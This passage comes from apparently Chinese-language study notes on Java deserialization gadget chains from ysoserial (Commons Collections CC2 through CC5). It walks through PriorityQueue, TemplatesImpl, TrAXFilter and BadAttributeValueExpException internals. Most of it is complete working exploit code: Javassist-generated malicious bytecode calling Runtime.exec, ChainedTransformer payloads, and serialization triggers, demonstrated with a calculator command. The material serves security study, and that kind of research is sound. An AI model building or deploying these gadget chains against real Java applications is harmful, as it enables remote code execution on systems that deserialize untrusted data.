        // mock method name until armed
        final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

        // create queue with numbers and basic comparator
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
        // stub data for replacement later
        queue.add(1);
        queue.add(1);

        // switch method called by comparator
        Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

        // switch contents of queue
        final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
        queueArray[0] = templates;
        queueArray[1] = 1;

        return queue;
    }

按照 ysoserial 中的 gadget chain 分析 PriorityQueue.readObject()

ObjectInputStream.readObject()
            PriorityQueue.readObject()
                ...
                    TransformingComparator.compare()
                        InvokerTransformer.transform()
                            Method.invoke()
                                Runtime.exec()
   /**
     * Reconstitutes the {@code PriorityQueue} instance from a stream
     * (that is, deserializes it).
     *
     * @param s the stream
     */
    private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        // Read in size, and any hidden stuff
        s.defaultReadObject();

        // Read in (and discard) array length
        s.readInt();

        SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size);
        queue = new Object[size];

        // Read in all elements.
        for (int i = 0; i < size; i++)
            queue[i] = s.readObject();

        // Elements are guaranteed to be in "proper order", but the
        // spec has never explained what that might be.
        heapify();
    }

/**
     * Saves this queue to a stream (that is, serializes it).
     *
     * @serialData The length of the array backing the instance is
     *             emitted (int), followed by all of its elements
     *             (each an {@code Object}) in the proper order.
     * @param s the stream
     */
    private void writeObject(java.io.ObjectOutputStream s)
        throws java.io.IOException {
        // Write out element count, and any hidden stuff
        s.defaultWriteObject();

        // Write out array length, for compatibility with 1.5 version
        s.writeInt(Math.max(2, size + 1));

        // Write out all elements in the "proper order".
        for (int i = 0; i < size; i++)
            s.writeObject(queue[i]);
    }

之后 readObjec 调用 heapifysize >>> 1 右移 1位

    /**
     * Establishes the heap invariant (described above) in the entire tree,
     * assuming nothing about the order of the elements prior to the call.
     */
    @SuppressWarnings("unchecked")
    private void heapify() {
        // size >>> 1 
        // bitwise right shift operation that performs a division by 2.
        // It shifts the binary representation of the value of the `size` variable one bit to the right, effectively dividing it by 2 and ignoring any remainder.
        for (int i = (size >>> 1) - 1; i >= 0; i--)
            siftDown(i, (E) queue[i]);
    }

siftDown 函数中需要注意 siftDownUsingComparato函数,siftDownUsingComparator会调用this.comparator进行compare,即自定义比较函数

    /**
     * Inserts item x at position k, maintaining heap invariant by
     * demoting x down the tree repeatedly until it is less than or
     * equal to its children or is a leaf.
     *
     * @param k the position to fill
     * @param x the item to insert
     */
    private void siftDown(int k, E x) {
        if (comparator != null)
            siftDownUsingComparator(k, x);
        else
            siftDownComparable(k, x);
    }

    @SuppressWarnings("unchecked")
    private void siftDownUsingComparator(int k, E x) {
        int half = size >>> 1;
        while (k < half) {
            int child = (k << 1) + 1;
            Object c = queue[child];
            int right = child + 1;
            if (right < size &&
                comparator.compare((E) c, (E) queue[right]) > 0)
                c = queue[child = right];
            if (comparator.compare(x, (E) c) <= 0)
                break;
            queue[k] = c;
            k = child;
        }
        queue[k] = x;
    }

TransformingComparator

此外,this.comparator 在构造函数中均可赋值,同时CC中存在TransformingComparator 支持CC 1 中的 漏洞利用,该调用函数 函数名 也是 compare

  //-----------------------------------------------------------------------
    /**
     * Returns the result of comparing the values from the transform operation.
     *
     * @param obj1  the first object to transform then compare
     * @param obj2  the second object to transform then compare
     * @return negative if obj1 is less, positive if greater, zero if equal
     */
    public int compare(final I obj1, final I obj2) {
        final O value1 = this.transformer.transform(obj1);
        final O value2 = this.transformer.transform(obj2);
        return this.decorated.compare(value1, value2);
    }

this.transformer 为 cc1 中的 chainedTransformer payload 即可。

TemplatesImpl

在ysoserial的cc2中引入了 TemplatesImpl 类来进行承载攻击payload,需要用到javassit;

再次查看 ysoserial的cc2

public Queue<Object> getObject(final String command) throws Exception {
    final Object templates = Gadgets.createTemplatesImpl(command);
    // mock method name until armed
    final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

    // create queue with numbers and basic comparator
    final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
    // stub data for replacement later
    queue.add(1);
    queue.add(1);

    // switch method called by comparator
    Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

    // switch contents of queue
    final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
    queueArray[0] = templates;
    queueArray[1] = 1;

    return queue;
}

主要有以下几点不理解:

  • Gadgets.createTemplatesImpl 是什么
  • transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); 为什么要调用toString
  • 为什么 可以 switch contents of queue

TemplatesImpl – ClassLoader

具体分析 见 javasec.org 中关于 ClassLoader的章节

下面内容为 具体分析的 个人摘要
Local Notes:
[[ClassLoader]]
References:
P 神 – 13.Java中动态加载字节码的那些方法

TemplatesImpl中有一个_bytecodes成员变量,用于存储类字节码,通过JSON反序列化的方式可以修改该变量值,但因为该成员变量没有可映射的get/set方法所以需要修改JSON库的虚拟化配置,比如Fastjson解析时必须启用Feature.SupportNonPublicField、Jackson必须开启JacksonPolymorphicDeserialization(调用mapper.enableDefaultTyping()),所以利用条件相对较高。

TemplatesImpl 中 TransletClassLoader 类 对应实现的代码为

static final class TransletClassLoader extends ClassLoader {
        private final Map<String,Class> _loadedExternalExtensionFunctions;

         TransletClassLoader(ClassLoader parent) {
             super(parent);
            _loadedExternalExtensionFunctions = null;
        }

        TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) {
            super(parent);
            _loadedExternalExtensionFunctions = mapEF;
        }

        public Class<?> loadClass(String name) throws ClassNotFoundException {
            Class<?> ret = null;
            // The _loadedExternalExtensionFunctions will be empty when the
            // SecurityManager is not set and the FSP is turned off
            if (_loadedExternalExtensionFunctions != null) {
                ret = _loadedExternalExtensionFunctions.get(name);
            }
            if (ret == null) {
                ret = super.loadClass(name);
            }
            return ret;
         }

        /**
         * Access to final protected superclass member from outer class.
         */
        Class defineClass(final byte[] b) {
            return defineClass(null, b, 0, b.length);
        }
    }

此外 TemplatesImpl$TransletClassLoader#defineClassTemplatesImpl#defineTransletClasses 所调用。

  • defineTransletClasses (注意其中的判断)
private void defineTransletClasses()
        throws TransformerConfigurationException {

        if (_bytecodes == null) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
            throw new TransformerConfigurationException(err.toString());
        }

        TransletClassLoader loader = (TransletClassLoader)
            AccessController.doPrivileged(new PrivilegedAction() {
                public Object run() {
                    return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
                }
            });

        try {
            final int classCount = _bytecodes.length;
            _class = new Class[classCount];

            if (classCount > 1) {
                _auxClasses = new HashMap<>();
            }

            for (int i = 0; i < classCount; i++) {
                _class[i] = loader.defineClass(_bytecodes[i]);
                final Class superClass = _class[i].getSuperclass();

                // Check if this is the main class
                // 注意  ABSTRACT_TRANSLET 为
                // com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
                if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                    _transletIndex = i;
                    // _transletIndex 后续有判断
                }
                else {
                    _auxClasses.put(_class[i].getName(), _class[i]);
                }
            }

            if (_transletIndex < 0) {
                ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
                throw new TransformerConfigurationException(err.toString());
            }
        }
        catch (ClassFormatError e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
        catch (LinkageError e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
    }

defineTransletClasses 可被 getTransletClassesgetTransletIndexgetTransletInstance

image-20230327101525983

  • getTransletInstance L: 445 行 最后 会调用 newInstance (无参数构造函数)
    image-20230327101853364

最后在 TemplatesImpl 中 有两个且为public的method 间接调用到defineClass,newTransformergetOutputProperties

image-20230327102251523

小结一下,可以利用的Gadget Chain:

getOutputProperties
    newTransformer
        getTransletInstance
            defineTransletClasses // 对应 defineClass
            AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance(); // 调用 class的 无参数构造函数

故此,TemplatesImpl 的 测试脚本(fork ysoserial)为:

package xyz.fe1w0.java.basic.classloader.templatesImpl;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.Serializable;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;



public class Exploit {

    /*
    利用 TemplatesImpl 实现类加载
     */
    public static void main(String[] args) throws Exception {
        // 获取 利用类 的 _bytecodes
        // 有两种方式:
        // 1. 读取文件的方式来获取 类的 bytecode
        // 1.1 本地文件读取
        // 1.2 远程文件读取
        // 2. Javassist的方式来构建和获取类的 bytecode

        final TemplatesImpl templates = new TemplatesImpl();
        String command = "open -a calculator";
        
        byte[] classBytes = getBytesFromJavassist(command);

        // 不理解 Foo.class 的作用,不加也可以 代码执行。
        setFieldValue(templates, "_bytecodes", new byte[][]{classBytes, classAsBytes(Foo.class)});
        setFieldValue(templates, "_name", "Payload");
        setFieldValue(templates, "_tfactory", TransformerFactoryImpl.class.newInstance());

        templates.getOutputProperties();
    }



    public static byte[] getBytesFromJavassist(String command) throws Exception{

        ClassPool pool = ClassPool.getDefault();
        // insertClassPath : Insert a <code>ClassPath</code> object at the head of the
        // search path.

        // StubTransletPayload extends AbstractTranslet
        // 利用 javassist 在 其无参数构造函数中添加payload.
        pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));

        // 添加 clazz
        final CtClass clazz = pool.get(StubTransletPayload.class.getName());
        String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
                command.replace("\\", "\\\\").replace("\"", "\\\"") +
                "\");";

        // 修改 AbstractTranslet 子类 StubTransletPayload 的 无参数构造函数
        clazz.makeClassInitializer().insertAfter(cmd);
        clazz.setName("fe1w0.Payload" + System.nanoTime());

        // 需要手动设置 super class
        CtClass superC = pool.get(AbstractTranslet.class.getName());
        clazz.setSuperclass(superC);

        final byte[] classBytes = clazz.toBytecode();

        return classBytes;
    }


    public static class StubTransletPayload extends AbstractTranslet implements Serializable {

        private static final long serialVersionUID = -5971610431559700674L;

        public void transform (DOM document, SerializationHandler[] handlers ) throws TransletException {}

        @Override
        public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {}
    }

    public static class Foo implements Serializable {
        private static final long serialVersionUID = 8207363842866235160L;
    }

    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }

    public static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        }
        catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }


    public static String classAsFile(final Class<?> clazz) {
        return classAsFile(clazz, true);
    }

    public static String classAsFile(final Class<?> clazz, boolean suffix) {
        String str;
        if (clazz.getEnclosingClass() == null) {
            str = clazz.getName().replace(".", "/");
        } else {
            str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName();
        }
        if (suffix) {
            str += ".class";
        }
        return str;
    }

    public static byte[] classAsBytes(final Class<?> clazz) {
        try {
            final byte[] buffer = new byte[1024];
            final String file = classAsFile(clazz);
            final InputStream in = Exploit.class.getClassLoader().getResourceAsStream(file);
            if (in == null) {
                throw new IOException("couldn't find '" + file + "'");
            }
            final ByteArrayOutputStream out = new ByteArrayOutputStream();
            int len;
            while ((len = in.read(buffer)) != -1) {
                out.write(buffer, 0, len);
            }
            return out.toByteArray();
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
}

ysoserial – payload

具体理解见注释。

小结:

  1. 通过函数参数引用的方式,避免add 环节出问题
  2. 具体触发链 readObject -> heapify -> … -> templates.newTransformer

    public static void ysoserialPayloadDemo() throws Exception {
        final TemplatesImpl templates = templateExploitDemo();

        // toString 的作用:
        // queue.add -> queue.offer -> siftUp -> ... -> TransformingComparator.compare -> InvokerTransformer.transform
        // final O value1 = this.transformer.transform(obj1);
        // 可以将 compare 中的参数 obj1, obj2 转为 字符串,避免报错 (若不理解,建议Debug)
        final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

        // Attention: TransformingComparator class Name is
        // org.apache.commons.collections4.comparators.TransformingComparator

        // queue 如 chain 1 一样,添加一个 TransformingComparator
        // TransformingComparator.transformer = InvokerTransformer
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(transformer));

        queue.add(1);
        queue.add(1);

        // switch method called by comparator
        // 太魔幻了,我以为` final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(transformer)); ` 执行后,
        // transformer 就没有办法进行修改了,六
        // 可以的,增长见识了,什么交 Java 的 函数参数 不是基本类,都是引用传递。
        setFieldValue(transformer, "iMethodName", "newTransformer");

        final Object[] queueArray = (Object[]) getFieldValue(queue, "queue");
        // 原 queueArray 中的数据是 [[1,1], [2, 1]]
        // 修改后为 [[1, templates], [2, 1]]
        // 当 readObject 会调用到 heapify,后续会触发 templates.newTransformer,进而触发 templatesImpl gadget chain
        queueArray[0] = templates;
        queueArray[1] = 1;

        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("out/serFile/cc2.2.2.ser"));
            outputStream.writeObject(queue);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("out/serFile/cc2.2.2.ser"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }

    }

测试脚本

  • payload
package xyz.fe1w0.java.basic.serialize.cc.two;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class Exploit {

    public static Transformer getPayloadChainV4(String command) {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
                        String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}
                ),
                new InvokerTransformer("invoke", new Class[]{
                        Object.class, Object[].class}, new Object[]{null, new Object[0]}
                ),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{command})
        };
        return new ChainedTransformer(transformers);
    }

    public static void main(String[] args) throws Exception {
        triggerTwo();
    }

    public static void triggerOne() throws Exception {
        String command = "open -a calculator";
        Transformer payload = getPayloadChainV4(command);

        // 设置 TransformingComparator: this.transformer
        TransformingComparator transformingComparator = new TransformingComparator(payload);

        // 设置 PriorityQueue: this.comparator
        PriorityQueue queue = new PriorityQueue();

        // 满足 触发条件
        // add 的 链中也可以触发 transformer.compare
        queue.add("demo");
        queue.add("fe1w0");

        // 通过反射 来 添加 comparator
        Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
        field.setAccessible(true);
        field.set(queue, transformingComparator);

        try {
            FileOutputStream fileOutputStream = new FileOutputStream("out/serFile/cc2.ser");
            ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
            objectOutputStream.writeObject(queue);
            objectOutputStream.close();
            fileOutputStream.close();

            FileInputStream fileInputStream = new FileInputStream("out/serFile/cc2.ser");
            ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
            objectInputStream.readObject();
            objectInputStream.close();
            fileInputStream.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void triggerTwo() throws Exception {
        String command = "open -a calculator";
        Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer").getDeclaredConstructor(String.class);
        constructor.setAccessible(true);
        InvokerTransformer transformer = (InvokerTransformer) constructor.newInstance("newTransformer");

        TransformingComparator Tcomparator = new TransformingComparator(transformer);
        PriorityQueue queue = new PriorityQueue();

        ClassPool pool = ClassPool.getDefault();

        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));

        CtClass cc = pool.makeClass("Cat");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"" + command + "\");";
        cc.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "EvilCat" + System.nanoTime();
        cc.setName(randomClassName);

        System.out.println("Class Name: " + cc.getPackageName());

        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        byte[] classBytes = cc.toBytecode();
        byte[][] targetByteCodes = new byte[][]{classBytes};

        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setFieldValue(templates, "_bytecodes", targetByteCodes);
        setFieldValue(templates, "_name", "blckder02");
        setFieldValue(templates, "_class", null);

        Object[] queue_array = new Object[]{templates,1};
        Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
        queue_field.setAccessible(true);
        queue_field.set(queue, queue_array);

        Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
        size.setAccessible(true);
        size.set(queue,2);

        Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
        comparator_field.setAccessible(true);
        comparator_field.set(queue,Tcomparator);

        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("out/serFile/cc2.2.ser"));
            outputStream.writeObject(queue);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("out/serFile/cc2.2.ser"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }
    }

    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }

    public static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        }
        catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }

}

CC3

安装 ysoserial 的注释来看,应该是cc1 的变种

注释:
Variation on CommonsCollections1 that uses InstantiateTransformer instead of InvokerTransformer.

利用条件

  • JDK 版本 :
    • JDK < 8u71
    • JDK <= 7u21(AnnotationInvocationHandler.readObject)
  • 依赖限制 :
    • CommonsCollections <= 3.2.1

Gadget Chain

->AnnotationInvocationHandler.readObject()
      ->mapProxy.entrySet().iterator()  //动态代理类
          ->AnnotationInvocationHandler.invoke()
            ->LazyMap.get()
                ->ChainedTransformer.transform()
                    ->ConstantTransformer.transform()
                        ->InstantiateTransformer.transform()
                            ->TrAXFilter.TrAXFilter()
                                ->TemplatesImpl.newTransformer()

漏洞原理

ysoserial payload:

public Object getObject(final String command) throws Exception {
        Object templatesImpl = Gadgets.createTemplatesImpl(command);

        // inert chain for setup
        final Transformer transformerChain = new ChainedTransformer(
            new Transformer[]{ new ConstantTransformer(1) });
        // real chain for after setup
        final Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(
                        new Class[] { Templates.class },
                        new Object[] { templatesImpl } )};

        final Map innerMap = new HashMap();

        final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

        final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

        final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

        Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

        return handler;
    }

主要区别在于 后续的利用链 用的是 InstantiateTransformer、TrAXFilter 、Templates,按照gadget chain 来进行分析。

InstantiateTransformer & TrAXFilter

InstantiateTransforme#transform 代码如下:


    /**
     * Transforms the input Class object to a result by instantiation.
     * 
     * @param input  the input object to transform
     * @return the transformed result
     */
    public Object transform(Object input) {
        try {
            if (input instanceof Class == false) {
                throw new FunctorException(
                    "InstantiateTransformer: Input object was not an instanceof Class, it was a "
                        + (input == null ? "null object" : input.getClass().getName()));
            }
            Constructor con = ((Class) input).getConstructor(iParamTypes);
            return con.newInstance(iArgs);

        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
        } catch (InstantiationException ex) {
            throw new FunctorException("InstantiateTransformer: InstantiationException", ex);
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InstantiateTransformer: Constructor must be public", ex);
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex);
        }
    }

其中存在反射构造函数和实例化代码

            Constructor con = ((Class) input).getConstructor(iParamTypes);
            return con.newInstance(iArgs);

这两段会先触发 TrAXFilter 的 构造函数,输入参数为 templates ,对应源代码为

    public TrAXFilter(Templates templates)  throws
        TransformerConfigurationException
    {
        _templates = templates;
        // 此处 触发 TransformerImpl gadget chain
        _transformer = (TransformerImpl) templates.newTransformer();
        _transformerHandler = new TransformerHandlerImpl(_transformer);
        _overrideDefaultParser = _transformer.overrideDefaultParser();
    }

测试脚本

package xyz.fe1w0.java.basic.serialize.cc.three;

import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;

import static xyz.fe1w0.java.basic.classloader.templatesImpl.Exploit.templateExploitDemo;

public class Exploit {

    public static void main(String[] args) throws Exception {
        subChain();
    }

    // 环境问题,这里只做后续利用链的分析
    // ->ChainedTransformer.transform()
    //         ->ConstantTransformer.transform()
    //         ->InstantiateTransformer.transform()
    //         ->TrAXFilter.TrAXFilter()
    //         ->TemplatesImpl.newTransformer()
    public static void subChain() throws Exception {
        final ChainedTransformer chainedTransformer = new ChainedTransformer(
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(
                        new Class[] { Templates.class },
                        new Object[] { templateExploitDemo() }
                ));
        chainedTransformer.transform(null);
    }
}

image-20230327173310374

CC4

CC4为CC2的变种,将原来的InvokerTransformer利用链替换为 InstantiateTransformer(见CC3)。

利用条件

同CC2

  • 依赖限制 :
    • CommonsCollections == 4.0 ( 需要 InstantiateTransformer 支持序列化,在4.0 以后版本中(测试:4.1 4.2 4.3 4.4)里中 InstantiateTransformer 不再支持 Serializable

image-20230328133243034

Gadget Chain

ObjectInputStream.readObject()
    PriorityQueue.readObject()
        PriorityQueue.heapify()
            PriorityQueue.siftDown()
                PriorityQueue.siftDownUsingComparator()
                    TransformingComparator.compare()
                        ChainedTransformer.transform()
                            ConstantTransformer.transform()
                            InstantiateTransformer.transform()
                            newInstance()
                                TrAXFilter#TrAXFilter()
                                TemplatesImpl.newTransformer()
                                         TemplatesImpl.getTransletInstance()
                                         TemplatesImpl.defineTransletClasses
                                         newInstance()
                                            Runtime.exec()

漏洞原理

show me, ysoserial code.

public Queue<Object> getObject(final String command) throws Exception {
        Object templates = Gadgets.createTemplatesImpl(command);

        ConstantTransformer constant = new ConstantTransformer(String.class);

        // mock method name until armed
        Class[] paramTypes = new Class[] { String.class };
        Object[] args = new Object[] { "foo" };
        InstantiateTransformer instantiate = new InstantiateTransformer(
                paramTypes, args);

        // grab defensively copied arrays
        paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
        args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");

        ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });

        // create queue with numbers
        PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
        queue.add(1);
        queue.add(1);

        // swap in values to arm
        Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
        paramTypes[0] = Templates.class;
        args[0] = templates;

        return queue;
    }

测试脚本

package xyz.fe1w0.java.basic.serialize.cc.four;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import javax.xml.transform.Templates;
import java.util.PriorityQueue;

import static xyz.fe1w0.java.basic.classloader.templatesImpl.Exploit.setFieldValue;
import static xyz.fe1w0.java.basic.classloader.templatesImpl.Exploit.templateExploitDemo;

public class Exploit {

    public static void main(String[] args) throws Exception {
        // 获取 evil templatesImpl
        TemplatesImpl templates = templateExploitDemo();

        InvokerTransformer invokerTransformer = new InvokerTransformer(
                "toString", new Class[0], new Object[0]
        );

        PriorityQueue queue = new PriorityQueue(2, new TransformingComparator(invokerTransformer));

        queue.add(1);
        queue.add(1);

        ChainedTransformer payloadTransformer = new ChainedTransformer(
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(
                        new Class[] { Templates.class },
                        new Object[] { templateExploitDemo() }
                )
        );

        setFieldValue(queue, "comparator", new TransformingComparator(payloadTransformer));
        // 用 add 模拟触发利用链
        queue.add(1);
    }
}

CC5

利用条件

  • JDK 版本 :
    • System.getSecurityManager() == null
      • 对 ysoserial 中的注释有点懵逼,应该 JDK >= jdk8u76;
      • 添加了 BadAttributeValueExpException#readObject 函数
  • 依赖限制 :
    • CommonsCollections

Gadget Chain

    Gadget chain:
        ObjectInputStream.readObject()
            BadAttributeValueExpException.readObject()
                TiedMapEntry.toString()
                    LazyMap.get()
                        ChainedTransformer.transform()
                            ConstantTransformer.transform()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Class.getMethod()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.getRuntime()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.exec()

漏洞原理

按照 ysoserial 源代码 和 Gadget chain 进行分析。

BadAttributeValueExpException

BadAttributeValueExpException#readObject

    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        ObjectInputStream.GetField gf = ois.readFields();
        Object valObj = gf.get("val", null);

        if (valObj == null) {
            val = null;
        } else if (valObj instanceof String) {
            val= valObj;
        } else if (System.getSecurityManager() == null
                || valObj instanceof Long
                || valObj instanceof Integer
                || valObj instanceof Float
                || valObj instanceof Double
                || valObj instanceof Byte
                || valObj instanceof Short
                || valObj instanceof Boolean) {
            val = valObj.toString();
        } else { // the serialized object is from a version without JDK-8019292 fix
            val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
        }
    }

val在payload中设置为TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

TiedMapEntry


/**
 * Gets a string version of the entry.
 * 
 * @return entry as a string
 */
public String toString() {
    return getKey() + "=" + getValue();
}

// Map.Entry interface  
//-------------------------------------------------------------------------  
/**  
 * Gets the key of this entry ** @return the key  
 */public Object getKey() {  
    return key;  
}  
  
/**  
 * Gets the value of this entry direct from the map. ** @return the value  
 */public Object getValue() {  
    return map.get(key);  
}

之后 map.get 可以选用 LazyMap.get 利用链。

测试脚本

package xyz.fe1w0.java.basic.serialize.cc.five;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

import static xyz.fe1w0.java.basic.classloader.templatesImpl.Exploit.getFieldValue;
import static xyz.fe1w0.java.basic.serialize.cc.two.Exploit.getField;
import static xyz.fe1w0.java.basic.serialize.cc.two.Exploit.setFieldValue;

public class Exploit {
    public static void main(String[] args) throws Exception {
        String command = "open -a calculator";
        final String[] execArgs = new String[] { command };
        // inert chain for setup
        final Transformer transformerChain = new ChainedTransformer(
                new Transformer[]{ new ConstantTransformer(1) });

        // real chain for after setup
        final Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, execArgs),
                new ConstantTransformer(1)
        };

        final Map innerMap = new HashMap();

        final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

        TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

        Map obj =  (Map) getFieldValue(entry, "map");

        System.out.println(obj);

        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        Field valfield = val.getClass().getDeclaredField("val");
        valfield.setAccessible(true);
        valfield.set(val, entry);

